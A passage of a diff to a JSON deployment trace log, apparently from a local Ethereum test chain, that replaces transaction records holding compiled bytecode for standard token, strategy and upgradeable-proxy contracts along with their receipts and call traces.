65b6000546201000090046001600160a01b03161580156113d357506001600160a01b03821615155b6114555760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610601826110bc565b6032546001600160a01b038381169116146106015760405162461bcd60e51b815260206004820152603660248201527f5374726174656779426173652e6465706f7369743a2043616e206f6e6c79206460448201527532b837b9b4ba103ab73232b9363cb4b733aa37b5b2b760511b6064820152608401610410565b604080516001600160a01b03848116602483015260448083018590528351808403909101815260649092018352602080830180516001600160e01b031663a9059cbb60e01b17905283518085019094528084527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564908401526109b8928692916000916115a4918516908490611621565b8051909150156109b857808060200190518101906115c29190611a30565b6109b85760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610410565b6060611630848460008561163a565b90505b9392505050565b60608247101561169b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610410565b6001600160a01b0385163b6116f25760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610410565b600080866001600160a01b0316858760405161170e9190611b28565b60006040518083038185875af1925050503d806000811461174b576040519150601f19603f3d011682016040523d82523d6000602084013e611750565b606091505b509150915061176082828661176b565b979650505050505050565b6060831561177a575081611633565b82511561178a5782518084602001fd5b8160405162461bcd60e51b81526004016104109190611907565b6001600160a01b038116811461054d57600080fd5b600080600080608085870312156117cf57600080fd5b843593506020850135925060408501356117e8816117a4565b915060608501356117f8816117a4565b939692955090935050565b60006020828403121561181557600080fd5b8135611633816117a4565b6000806040838503121561183357600080fd5b50508035926020909101359150565b60006020828403121561185457600080fd5b5035919050565b6000806040838503121561186e57600080fd5b8235611879816117a4565b946020939093013593505050565b6000806040838503121561189a57600080fd5b82356118a5816117a4565b915060208301356118b5816117a4565b809150509250929050565b6000602082840312156118d257600080fd5b813560ff8116811461163357600080fd5b60005b838110156118fe5781810151838201526020016118e6565b50506000910152565b60208152600082518060208401526119268160408501602087016118e3565b601f01601f19169190910160400192915050565b60008060006060848603121561194f57600080fd5b833561195a816117a4565b9250602084013561196a816117a4565b929592945050506040919091013590565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6000602082840312156119db57600080fd5b8151611633816117a4565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611a4257600080fd5b8151801515811461163357600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b808201808211156109cb576109cb611a9a565b818103818111156109cb576109cb611a9a565b80820281158282048414176109cb576109cb611a9a565b600082611b0a57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611b2157600080fd5b5051919050565b60008251611b3a8184602087016118e3565b919091019291505056fe4261736520537472617465677920696d706c656d656e746174696f6e20746f20696e68657269742066726f6d20666f72206d6f726520636f6d706c657820696d706c656d656e746174696f6e73a264697066735822122021b62fe5b5bce3c7900ce940fa79726154511331bde65b6124359a94d004524164736f6c634300081c0033", - "nonce": 26, - "gas_used": 1617137 - }, - "receipt": { - "type": "0x2", - "status": "0x1", - "cumulativeGasUsed": "0x1ad6e5", - "logs": [ - { - "address": "0x7a2088a1bfc9d81c55368ae168c2c02570cb814f", - "topics": [ - "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" - ], - "data": "0x00000000000000000000000000000000000000000000000000000000000000ff" - } - ], - "logsBloom": "0x00000000001000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000200000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" - }, - "block_hash": "0x1b66e4daade697ba1e5723ea9c0548ffb1f11de79d6fa07394bf8f4022c3724f", - "block_number": 17 - }, - { - "info": { - "transaction_hash": "0xbd915f86d3825918e7b3e23f3a26470ab72a7643e95da39926f2f79c5e79e809", - "transaction_index": 0, - "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "to": null, - "contract_address": "0x09635f643e140090a9a8dcd712ed6285858cebef", - "traces": [ + }, { - "parent": null, + "parent": 1, "children": [], - "idx": 0, + "idx": 2, "trace": { - "depth": 0, + "depth": 2, "success": true, - "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0x09635f643e140090a9a8dcd712ed6285858cebef", - "maybe_precompile": false, + "caller": "0xa513e6e4b8f2a923d98304ec87f64353c4d5c853", + "address": "0x959922be3caee4b8cd9a407cc3ac1c251c2007b1", + "maybe_precompile": null, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, - "kind": "CREATE", + "kind": "DELEGATECALL", "value": "0x0", - "data": "0x6080604052348015600f57600080fd5b506105298061001f6000396000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047d565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b5060019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b929592945050506040919091013590565b60006020828403121561048f57600080fd5b610498826103fa565b9392505050565b600080604083850312156104b257600080fd5b6104bb836103fa565b91506104c9602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea26469706673582212207dcc3a1a28726484144825c2fae6f73b060be6cb27431e56efe26512aa3db1d064736f6c634300081c0033", - "output": "0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047d565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b5060019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b929592945050506040919091013590565b60006020828403121561048f57600080fd5b610498826103fa565b9392505050565b600080604083850312156104b257600080fd5b6104bb836103fa565b91506104c9602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea26469706673582212207dcc3a1a28726484144825c2fae6f73b060be6cb27431e56efe26512aa3db1d064736f6c634300081c0033", - "gas_used": 264506, - "gas_limit": 365977, - "status": "Return", + "data": "0x1794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000", + "output": "0x", + "gas_used": 456, + "gas_limit": 16294, + "status": "Stop", "steps": [], "decoded": { "label": null, @@ -5263,28 +5437,37 @@ "ordering": [] } ], - "exit": "Return", - "out": "0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047d565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b5060019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b929592945050506040919091013590565b60006020828403121561048f57600080fd5b610498826103fa565b9392505050565b600080604083850312156104b257600080fd5b6104bb836103fa565b91506104c9602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea26469706673582212207dcc3a1a28726484144825c2fae6f73b060be6cb27431e56efe26512aa3db1d064736f6c634300081c0033", - "nonce": 27, - "gas_used": 338612 + "exit": "Stop", + "out": "0x", + "nonce": 21, + "gas_used": 42735 }, "receipt": { "type": "0x2", "status": "0x1", - "cumulativeGasUsed": "0x52ab4", - "logs": [], - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + "cumulativeGasUsed": "0xa6ef", + "logs": [ + { + "address": "0xa513e6e4b8f2a923d98304ec87f64353c4d5c853", + "topics": [ + "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", + "0x000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1" + ], + "data": "0x" + } + ], + "logsBloom": "0x00000000000000000000000000000000400000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000002000000000010000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000" }, - "block_hash": "0x2c6ee5398f79fd95878301d23352454202bf3c51130435820fde873a683e4f76", + "block_hash": "0x3098355f0f6dd62568e17628ad30031db81233a310f9b72ec667e97ae80479b5", "block_number": 18 }, { "info": { - "transaction_hash": "0x83cbcad6bf507df8c527396595303607713f92c0dfbcc85a90b9df7d1bc1d335", - "transaction_index": 3, + "transaction_hash": "0xb67040237c5a060f35e1affe287ced14f9f791b93c70181084de7ef18010989e", + "transaction_index": 0, "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", "to": null, - "contract_address": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", + "contract_address": "0x5fbdb2315678afecb367f032d93f642f64180aa3", "traces": [ { "parent": null, @@ -5294,17 +5477,17 @@ "depth": 0, "success": true, "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", + "address": "0x5fbdb2315678afecb367f032d93f642f64180aa3", "maybe_precompile": false, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "CREATE", "value": "0x0", - "data": "0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000", - "output": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033", - "gas_used": 465106, - "gas_limit": 636783, + "data": "0x6080604052348015600f57600080fd5b50601733601b565b606b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61069a8061007a6000396000f3fe60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105ea565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c99086908690600401610607565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff81111561055857600080fd5b8401601f8101861361056957600080fd5b803567ffffffffffffffff811115610583576105836104f6565b604051601f8201601f19908116603f0116810167ffffffffffffffff811182821017156105b2576105b26104f6565b6040528181528282016020018810156105ca57600080fd5b816020840160208301376000602083830101528093505050509250925092565b6000602082840312156105fc57600080fd5b81516104b681610484565b60018060a01b0383168152604060208201526000825180604084015260005b818110156106435760208186018101516060868401015201610626565b506000606082850101526060601f19601f830116840101915050939250505056fea26469706673582212208c9b9e088f3575078e1e546bdacf514367bf3b048de9f62c408ca085a2a59c4b64736f6c634300081b0033", + "output": 